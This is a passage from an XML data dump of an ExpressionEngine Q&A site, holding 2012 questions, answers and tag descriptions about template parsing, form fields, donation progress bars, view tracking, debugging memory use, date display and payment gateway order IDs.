{preload_replace:sort=&quot;desc&quot;}&#xA;{/if}&#xA;{preload_replace:orderby=&quot;date&quot;}&#xA;{preload_replace:sort=&quot;asc&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then you can use &lt;code&gt;orderby=&quot;{orderby}&quot;&lt;/code&gt; and &lt;code&gt;sort=&quot;{sort}&lt;/code&gt; in your &lt;code&gt;channel:entries&lt;/code&gt; tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This should work because these are simple conditionals, so they are parsed early, and because &lt;code&gt;preload_replace&lt;/code&gt; variables saved based on their &lt;em&gt;first&lt;/em&gt; parsed instance (so if your conditionals are met, the later declarations that are outside of the conditionals are ignored).&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.553" LastActivityDate="2012-12-18T16:52:58.493" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1828" PostTypeId="2" ParentId="1826" CreationDate="2012-12-18T16:45:18.640" Score="2" Body="&lt;p&gt;You're missing the &lt;code&gt;name&lt;/code&gt; attribute on the text field.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;text&quot; class=&quot;inline&quot; id=&quot;zip&quot; name=&quot;zip&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You may just want to change &lt;code&gt;id&lt;/code&gt; to &lt;code&gt;name&lt;/code&gt; (that would depend on whether or not you're using the ID for any CSS/jQuery selectors).&lt;/p&gt;&#xA;" OwnerUserId="77" LastActivityDate="2012-12-18T16:45:18.640" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1829" PostTypeId="2" ParentId="1819" CreationDate="2012-12-18T16:46:27.657" Score="5" Body="&lt;p&gt;This is a parse order issue. The advanced conditional gets parsed after the channel entries tag. Try something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries&#xA;channel=&quot;my_channel&quot;&#xA;limit=&quot;15&quot;&#xA;paginate=&quot;bottom&quot;&#xA;category=&quot;{if segment_3 != &quot;asc&quot;}{segment_3_category_id}{/if}{if segment_4 != &quot;desc&quot;}{segment_3_category_id}{/if}&quot;&#xA;orderby=&quot;{if segment_3 == &quot;desc&quot;}woa-price{/if}{if segment_4 == &quot;desc&quot;}woa-price{/if}&quot;&#xA;sort=&quot;{if segment_3 == &quot;desc&quot;}desc{/if}{if segment_4 == &quot;desc&quot;}desc{/if}&quot;&#xA;{/channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Not sure if those conditions will match the URLs that you've got setup, but that is how you will have to do it. You need to use simple conditionals inside of the channel entries parameters.&lt;/p&gt;&#xA;" OwnerUserId="14" LastActivityDate="2012-12-18T16:46:27.657" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1830" PostTypeId="2" ParentId="1422" CreationDate="2012-12-18T17:09:03.560" Score="2" Body="&lt;p&gt;you could:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;style the systems message template&lt;/li&gt;&#xA;&lt;li&gt;use an addon called custom system messages&lt;/li&gt;&#xA;&lt;li&gt;or look for an AJAX way to do it. the last one is the most elegant, i however, with my limited javascript skills have not yet&#xA;    been able to do it&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="215" LastActivityDate="2012-12-18T17:09:03.560" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1833" PostTypeId="1" AcceptedAnswerId="1834" CreationDate="2012-12-18T18:37:19.583" Score="4" ViewCount="373" Body="&lt;p&gt;This maybe more of a PHP solve, but the website is in ExpressionEngine. I'm using a Matrix field, Store to process donations, and reverse relationships.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I basically set-up a progress bar using some PHP to showcase how much funds were raised for a youth. This works well, but assumed that people wouldn't continue to give if the record had hit 100% funded (really bad assumption, but it was only suppose to be a demonstration site, not a final product). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's happening is that there are a couple of records that have been funded over 100%. I'm trying to figure out what would be a method to (1) trap the progress bar, so it never extends more than 100% width and (2) remove the give button if/when the raised amount equals 100% or more. I don't really care about someone giving $100 when the individual raising funds only needed $25 to be successful. I'm more concern to not not allow or at least make easy future donations after they've reached or exceeded 100% funding.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;need-status&quot;&amp;gt;&#xA;    &amp;lt;hr class=&quot;none&quot; /&amp;gt;&#xA;    &amp;lt;div class=&quot;progress&quot;&amp;gt;&amp;lt;div class='value' style='width: &amp;lt;?=fixFloat($progress)?&amp;gt;%'&amp;gt;&amp;lt;?=fixFloat($progress)?&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;p class=&quot;stat money&quot;&amp;gt;$&amp;lt;?=fixFloat($total_given)?&amp;gt; of $&amp;lt;?=fixFloat($total_need)?&amp;gt; (&amp;lt;?=fixFloat(number_format($progress, 1, '.', ''))?&amp;gt;%)&amp;lt;/p&amp;gt;&#xA;    &amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;&amp;lt;?=fixFloat($total_donors)?&amp;gt;&amp;lt;/strong&amp;gt; supporters &amp;amp;nbsp;&amp;lt;strong&amp;gt;Appeal Ends:&amp;lt;/strong&amp;gt; {reverse_related_entries channel=&quot;appeals&quot; status=&quot;open&quot; orderby=&quot;date&quot; sort=&quot;desc&quot; limit=&quot;1&quot;}{appeal_end_date format=&quot;%d %M %Y&quot;}{/reverse_related_entries}&amp;lt;/p&amp;gt;&#xA;&#xA;    &amp;lt;/div&amp;gt;&amp;lt;!-- end Progress View --&amp;gt;&#xA;&#xA;    &amp;lt;!-- start Needs View --&amp;gt;&#xA;    {reverse_related_entries channel=&quot;appeals&quot; status=&quot;open&quot; orderby=&quot;date&quot; sort=&quot;desc&quot; limit=&quot;1&quot;}&#xA;    {embed=&quot;youth/_needs&quot; entry_id=&quot;{entry_id}&quot;}&#xA;    {/reverse_related_entries}&#xA;    &amp;lt;!-- end Needs View --&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I figured, it might be possible to encase the Store give button, in an id tag that shows/hide based on the outcome of progress details, but that's assuming I can set the progress bar to exactly 100% even if the amount is 130%, which I'm not certain how to do. The PHP variables are set in another portion of the page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My PHP skills just aren't that great. The youth needs are stored in a Matrix field.&lt;/p&gt;&#xA;" OwnerUserId="252" LastActivityDate="2012-12-18T20:07:45.517" Title="How Can I Stop a Progress Bar at 100%, When Donations Exceed That Amount?" Tags="|expresso-store|php|matrix|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1834" PostTypeId="2" ParentId="1833" CreationDate="2012-12-18T18:47:35.473" Score="6" Body="&lt;p&gt;Try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?=fixFloat($progress) &amp;lt;= 100 ? fixFloat($progress) : 100?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That code says: &quot;if fixFloat($progress) is less or equal to 100, then output fixFloat($progress), otherwise output 100&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Updated by Nonprofit Tech:&lt;/strong&gt;  I used both @Justin's and @GDMac's response. For the progress bar, I added the &lt;code&gt;max-width: 100%;&lt;/code&gt; to the inline style. But the solution for hiding the give button was in @Justin's code. I used like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;display_&amp;lt;?=fixFloat($progress) &amp;lt;= 100 ? fixFloat($progress) : 100?&amp;gt;&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then added the following to my stylesheet&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#display_100 {&#xA;    display: none;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This hides the give button when the give amount is 100% or over, but otherwise displays it for all the other randomly generated ids such as 46% or 89%.  Thanks much!!&lt;/p&gt;&#xA;" OwnerUserId="101" LastEditorUserId="252" LastEditDate="2012-12-18T20:07:45.517" LastActivityDate="2012-12-18T20:07:45.517" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="1835" PostTypeId="2" ParentId="1806" CreationDate="2012-12-18T19:36:42.937" Score="1" Body="&lt;p&gt;I'm not sure how you could do exactly what you're asking, but have you considered using one of the member module add-ons like &lt;a href=&quot;http://devot-ee.com/add-ons/profileedit&quot; rel=&quot;nofollow&quot;&gt;Profile:Edit&lt;/a&gt; or &lt;a href=&quot;http://devot-ee.com/add-ons/zoo-visitor&quot; rel=&quot;nofollow&quot;&gt;Zoo Visitor&lt;/a&gt;? They both allow you to tie a channel entry to a member, so you can have whatever custom fields you like. Profile:Edit has the added benefit of being developed on top of Safecracker, so it works exactly the same as a normal Safecracker form.&lt;/p&gt;&#xA;" OwnerUserId="197" LastActivityDate="2012-12-18T19:36:42.937" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1837" PostTypeId="1" AcceptedAnswerId="1839" CreationDate="2012-12-18T19:56:04.980" Score="5" ViewCount="195" Body="&lt;p&gt;I would like to offer stats such as &quot;your article was read 50 times, your profile was viewed 25 times.&quot; I know Zoo Visitor does this, but are there alternatives?&lt;/p&gt;&#xA;" OwnerUserId="453" LastActivityDate="2012-12-18T20:16:23.983" Title="What are some ways to offer stats to users?" Tags="|zoo-visitor|users|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1839" PostTypeId="2" ParentId="1837" CreationDate="2012-12-18T20:16:23.983" Score="5" Body="&lt;p&gt;EE has &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/entry_tracking.html&quot; rel=&quot;noreferrer&quot;&gt;&lt;strong&gt;native entry tracking tags&lt;/strong&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;ExpressionEngine lets you track how many times a channel entry has been “viewed” on a particular page. Up to four different instances of the view counter can be used (each on a different page), enabling you to track different aspects of an entry independently. For example you can use view counter “one” to track views on your comments page and view counter “two” to track views on your permalink page.&lt;/p&gt;&#xA;&lt;p&gt;Note: The view tracking counter works in conjunction with the {exp:channel:entries} tag. Although you can show the number of views in any instance of your channel entries tag, the counter will only increment on pages that show a single-entry pages. Single entry pages are ones that show only a single entry, specified dynamically by the ID number or URL Title in the URL, such as comment or permalink pages.&lt;/p&gt;&#xA;&lt;p&gt;Also Note: If you have page caching enabled this feature will not work.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;Additionally, Solspace has the &lt;a href=&quot;http://www.solspace.com/software/detail/tracker/&quot; rel=&quot;noreferrer&quot;&gt;&lt;strong&gt;Tracker&lt;/strong&gt;&lt;/a&gt; module&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Tracker is a flexible application that allows you to track views for channel entries from site visitors. Instead of recording views per page, Tracker records views for each time a specific channel entry is loaded. Stats are available in intervals of days, weeks, months, and years. You can view a variety of overall and filtered down stats in the Tracker module control panel area, as well as entry-specific stats in the publish page using the Tracker field type.&lt;/p&gt;&#xA;&lt;p&gt;On the front end in your templates, you can display ranked lists of entries, stats for each entry, and charts/graphs for each entry. The tracking code that is placed in your templates is also available as a pixel image so you can track views on cached pages.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="28" LastEditorUserId="-1" LastEditDate="2020-06-17T08:55:32.810" LastActivityDate="2012-12-18T20:16:23.983" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1840" PostTypeId="1" AcceptedAnswerId="1870" CreationDate="2012-12-18T20:32:52.667" Score="6" ViewCount="89" Body="&lt;p&gt;Why would the MB size on Begin Template Processing be so much different on a site hosted locally to that same site being put on a live server?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And does that have any relevance to page speed?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An example I have set up with just RAW data and minimal HTML shows these results:&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Locally&lt;/h2&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;TEMPLATE DEBUGGING&#xA;(0.000006 / 1.90MB) Begin Template Processing&#xA;(0.000246 / 1.92MB) URI: news&#xA;(0.000260 / 1.92MB) Path.php Template:&#xA;…&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;And then On a Dreamhost Server:&lt;/h2&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(0.000024 / 7.75MB) - Begin Template Processing -&#xA;(0.001825 / 7.81MB) URI: news&#xA;(0.001866 / 7.81MB) Path.php Template: /&#xA;(0.001904 / 7.81MB) Retrieving Template&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="53" LastActivityDate="2012-12-18T22:23:49.960" Title="Why am I getting different results from the template debugger locally to live" Tags="|debugging|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1841" PostTypeId="5" CreationDate="2012-12-18T20:33:50.890" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2012-12-18T20:33:50.890" LastActivityDate="2012-12-18T20:33:50.890" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1842" PostTypeId="4" CreationDate="2012-12-18T20:33:50.890" Score="0" Body="An addon which allows you to move EE member management into Channel Entries." OwnerUserId="28" LastEditorUserId="28" LastEditDate="2012-12-19T02:32:10.547" LastActivityDate="2012-12-19T02:32:10.547" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1843" PostTypeId="5" CreationDate="2012-12-18T20:34:49.813" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2012-12-18T20:34:49.813" LastActivityDate="2012-12-18T20:34:49.813" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1844" PostTypeId="4" CreationDate="2012-12-18T20:34:49.813" Score="0" Body="For questions related to member management/functionality/data in EE" OwnerUserId="28" LastEditorUserId="28" LastEditDate="2012-12-19T02:31:30.210" LastActivityDate="2012-12-19T02:31:30.210" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1845" PostTypeId="5" CreationDate="2012-12-18T20:37:14.877" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2012-12-18T20:37:14.877" LastActivityDate="2012-12-18T20:37:14.877" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1846" PostTypeId="4" CreationDate="2012-12-18T20:37:14.877" Score="0" Body="SAEF = Stand Alone Entry Form. Using the Safe Cracker Module, adding and editing entries can be managed directly in EE templates." OwnerUserId="28" LastEditorUserId="28" LastEditDate="2012-12-19T02:32:03.323" LastActivityDate="2012-12-19T02:32:03.323" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1847" PostTypeId="5" CreationDate="2012-12-18T20:38:29.633" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2012-12-18T20:38:29.633" LastActivityDate="2012-12-18T20:38:29.633" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1848" PostTypeId="4" CreationDate="2012-12-18T20:38:29.633" Score="0" Body="A small piece of data sent from a website and stored in a user's web browser." OwnerUserId="28" LastEditorUserId="28" LastEditDate="2012-12-19T02:32:15.943" LastActivityDate="2012-12-19T02:32:15.943" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1849" PostTypeId="5" CreationDate="2012-12-18T20:39:15.093" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2012-12-18T20:39:15.093" LastActivityDate="2012-12-18T20:39:15.093" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1850" PostTypeId="4" CreationDate="2012-12-18T20:39:15.093" Score="0" Body="An HTML form on a web page allows a user to enter data that is sent to a server for processing. " OwnerUserId="28" LastEditorUserId="28" LastEditDate="2012-12-19T02:31:42.497" LastActivityDate="2012-12-19T02:31:42.497" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1851" PostTypeId="5" CreationDate="2012-12-18T20:40:30.800" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2012-12-18T20:40:30.800" LastActivityDate="2012-12-18T20:40:30.800" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1852" PostTypeId="4" CreationDate="2012-12-18T20:40:30.800" Score="0" Body="An error, flaw, mistake, failure, or fault in a software/code." OwnerUserId="28" LastEditorUserId="28" LastEditDate="2012-12-19T02:31:36.177" LastActivityDate="2012-12-19T02:31:36.177" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1853" PostTypeId="5" CreationDate="2012-12-18T20:41:45.603" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2012-12-18T20:41:45.603" LastActivityDate="2012-12-18T20:41:45.603" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1854" PostTypeId="4" CreationDate="2012-12-18T20:41:45.603" Score="0" Body="For questions related to EE's core Member module or member related functionality/code/addons." OwnerUserId="28" LastEditorUserId="28" LastEditDate="2012-12-19T02:32:13.040" LastActivityDate="2012-12-19T02:32:13.040" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1855" PostTypeId="5" CreationDate="2012-12-18T20:43:36.957" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2012-12-18T20:43:36.957" LastActivityDate="2012-12-18T20:43:36.957" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1856" PostTypeId="4" CreationDate="2012-12-18T20:43:36.957" Score="0" Body="For questions about using pagination tags/code to divide content across separate pages." OwnerUserId="28" LastEditorUserId="28" LastEditDate="2012-12-19T02:32:18.703" LastActivityDate="2012-12-19T02:32:18.703" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1857" PostTypeId="5" CreationDate="2012-12-18T20:44:35.303" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2012-12-18T20:44:35.303" LastActivityDate="2012-12-18T20:44:35.303" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1858" PostTypeId="4" CreationDate="2012-12-18T20:44:35.303" Score="0" Body="The Switchee plugin for ExpressionEngine allows you to create switch/case control logic in your templates." OwnerUserId="28" LastEditorUserId="28" LastEditDate="2012-12-19T02:31:52.137" LastActivityDate="2012-12-19T02:31:52.137" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1859" PostTypeId="5" CreationDate="2012-12-18T20:45:16.660" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2012-12-18T20:45:16.660" LastActivityDate="2012-12-18T20:45:16.660" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1860" PostTypeId="4" CreationDate="2012-12-18T20:45:16.660" Score="0" Body="In the Domain Name System (DNS) hierarchy, a subdomain is a domain that is part of a larger domain." OwnerUserId="28" LastEditorUserId="28" LastEditDate="2012-12-19T02:32:24.273" LastActivityDate="2012-12-19T02:32:24.273" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1861" PostTypeId="5" CreationDate="2012-12-18T20:46:02.210" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2012-12-18T20:46:02.210" LastActivityDate="2012-12-18T20:46:02.210" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1862" PostTypeId="4" CreationDate="2012-12-18T20:46:02.210" Score="0" Body="For questions related to member specific accounts in ExpressionEngine." OwnerUserId="28" LastEditorUserId="28" LastEditDate="2012-12-19T02:32:07.143" LastActivityDate="2012-12-19T02:32:07.143" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1863" PostTypeId="5" CreationDate="2012-12-18T20:47:31.413" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2012-12-18T20:47:31.413" LastActivityDate="2012-12-18T20:47:31.413" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1864" PostTypeId="4" CreationDate="2012-12-18T20:47:31.413" Score="0" Body="A best practice is a method or technique that has consistently shown results superior to those achieved with other means." OwnerUserId="28" LastEditorUserId="28" LastEditDate="2012-12-19T02:31:48.003" LastActivityDate="2012-12-19T02:31:48.003" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1865" PostTypeId="2" ParentId="1840" CreationDate="2012-12-18T20:55:30.270" Score="0" Body="&lt;p&gt;In my experience, the performance is &lt;em&gt;always&lt;/em&gt; better in production than dev. Seeing as you have the opposite, to me, it would look like your live server has some serious issues in terms of configuration. Serious, &lt;em&gt;serious&lt;/em&gt;, issues. You might want to contact your host and ask them to look into things. &lt;/p&gt;&#xA;" OwnerUserId="169" LastActivityDate="2012-12-18T20:55:30.270" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1866" PostTypeId="1" AcceptedAnswerId="1869" CreationDate="2012-12-18T20:56:22.460" Score="5" ViewCount="72" Body="&lt;p&gt;I'm not sure what could be causing this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Dates are displaying incorrectly in Safari on my site. They are displaying as 1 day before the actual date that is set in the CP. I've never seen this and have absolutely no clue how to fix. All my searches have come up nothing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For Ex:&#xA;Entry Date in CP: 1/25/12&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Chrome displays: 1/25/12&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Safari displays: 1/24/12&lt;/p&gt;&#xA;" OwnerUserId="638" LastEditorUserId="101" LastEditDate="2012-12-18T20:59:50.720" LastActivityDate="2012-12-19T00:18:11.427" Title="Why are my entry dates displaying incorrectly in Safari?" Tags="|date|variable|bug|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1867" PostTypeId="1" CreationDate="2012-12-18T21:00:32.123" Score="5" ViewCount="958" Body="&lt;p&gt;I have a site that's being ported to ExpressionEngine as a temporary stopgap while a longer term strategy is worked out. The issue is that there are URLs in Google (and the wild) that have &quot;bad&quot; query strings from the previous (Java) build so when a user visits a URL from the old site they get a generic &quot;Invalid GET Data&quot; error. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to allow for those characters in an ExpressionEngine URL?&lt;/p&gt;&#xA;" OwnerUserId="169" LastActivityDate="2012-12-19T04:33:50.627" Title="Disable &quot;Invalid GET Data&quot; Error" Tags="|url|get|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1868" PostTypeId="2" ParentId="1867" CreationDate="2012-12-18T21:09:19.063" Score="11" Body="&lt;p&gt;You can enable specific characters by going to your EE config/config.php file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Find the &lt;strong&gt;permitted_uri_chars&lt;/strong&gt; config variable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the default:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['permitted_uri_chars'] = 'a-z 0-9~%.:_\\-';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Additionally, you may want to take a look at the &lt;strong&gt;enable_query_strings&lt;/strong&gt; config too. You want to change it to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['enable_query_strings'] = TRUE;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="101" LastActivityDate="2012-12-18T21:09:19.063" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1869" PostTypeId="2" ParentId="1866" CreationDate="2012-12-18T21:51:43.593" Score="4" Body="&lt;p&gt;Check your site's and user profile's localization settings. It's very likely that you're viewing the site in Safari while logged in as a user with a locale that differs from the locale configured for the site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Documentation: &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/admin/localization_settings.html&quot; rel=&quot;nofollow&quot;&gt;Site Localization Settings&lt;/a&gt;, &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/members/membership_preferences.html#allow-members-to-set-their-own-localization-preferences&quot; rel=&quot;nofollow&quot;&gt;Enabling/disabling User-specific Localization&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="445" LastActivityDate="2012-12-18T21:51:43.593" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1870" PostTypeId="2" ParentId="1840" CreationDate="2012-12-18T21:59:52.823" Score="4" Body="&lt;p&gt;I asked a similar question on Stack Overflow about &lt;a href=&quot;https://stackoverflow.com/questions/13111275/high-memory-usage-in-expressionengine-templates&quot;&gt;&lt;strong&gt;High Memory Usage in ExpressionEngine Templates&lt;/strong&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The smaller MB size on Begin Template Processing in attributed to APC bytecode caching being enabled on the server.&lt;/p&gt;&#xA;" OwnerUserId="28" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:12.123" LastActivityDate="2012-12-18T22:07:39.020" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1871" PostTypeId="2" ParentId="1840" CreationDate="2012-12-18T22:23:49.960" Score="5" Body="&lt;p&gt;If you are using MAMP or similar locally/dev setup it likely has apc enabled for byte code caching, and the production server does not, as Mediagirl pointed out.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Likewise there could be other things related to that, php as mod_php vs. not on the production server, different php versions and different php modules enabled, vs. not, and so on.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also if you are like many, your local/development setup maybe a local SSD drive in a laptop vs. a network based storage system, or similar differences in local vs. production server setups. In the example above that last line you showed for the production server execution of 1.9 thousandths of a second, while that is slower than the 2 ten thousandth of a second for local/dev, I am not sure I would see that part is the defining portion of the &quot;slowness&quot; on the production server either.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2012-12-18T22:23:49.960" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1872" PostTypeId="1" CreationDate="2012-12-18T22:24:36.760" Score="3" ViewCount="72" Body="&lt;p&gt;We have a (rare) situation where there are free items being 'sold' alongside paid items in an expresso-store. But we've noticed that these items don't appear in the &lt;strong&gt;Reports&lt;/strong&gt; &gt; &lt;strong&gt;Orders&lt;/strong&gt; Report area of the module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea if this is possible, or suggestions on where to look to allow this?&lt;/p&gt;&#xA;" OwnerUserId="571" LastEditorUserId="115" LastEditDate="2012-12-19T02:51:02.860" LastActivityDate="2012-12-19T02:51:02.860" Title="Free ($0) products in expresso-store reports" Tags="|add-on|expresso-store|ecommerce|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1873" PostTypeId="2" ParentId="1872" CreationDate="2012-12-18T23:04:50.620" Score="3" Body="&lt;p&gt;That sounds like a bug, there are no settings which would affect the display of free items.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can you please email support@exp-resso.com and we will follow up for you.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2012-12-18T23:04:50.620" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1875" PostTypeId="1" AcceptedAnswerId="1876" CreationDate="2012-12-19T00:54:16.253" Score="2" ViewCount="101" Body="&lt;p&gt;I am using CarthThrob and Sage Payments NA (Bank Card HTTPS) to process transactions. Using the standard Sage US payment gateway it does work, but I need to edit the Order ID (T_ordernum in the Sage docs) to include some items specific information. Right now it is the entry_ID plus a timestamp: 123_1234567890 which is meaningless in our system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like it to use some custom field data: account number and last name so orders appear in Sage as: 123_Lastname (maybe adding the timestamp for randomness).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am capturing these as item_options in the add to cart form:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:cartthrob:add_to_cart_form &#xA;    return=&quot;cart/review&quot;&#xA;    entry_id=&quot;{entry_id}&quot;&#xA;    allow_user_price=&quot;yes&quot;&#xA;    item_options:account=&quot;{ma-number}&quot;&#xA;    item_options:last_name=&quot;{ma-lastname}&quot;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However the payment gateway creates the Order Number from the entry_id and Unix time:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'T_ordernum'=&amp;gt; $this-&amp;gt;order('entry_id').&quot;_&quot; .time(),&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'd like to have it grab those item variables. I've added this (found in another payment gateway):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$reference = ''; &#xA;    if (!empty($item['item_options']['account']))&#xA;    {&#xA;        $reference .=$item['item_options']['account'] .&quot;-&quot;; &#xA;    }&#xA;    if (!empty($item['item_options']['last_name']))&#xA;    {&#xA;        $reference .=$item['item_options']['last_name'] .&quot;-&quot;; &#xA;    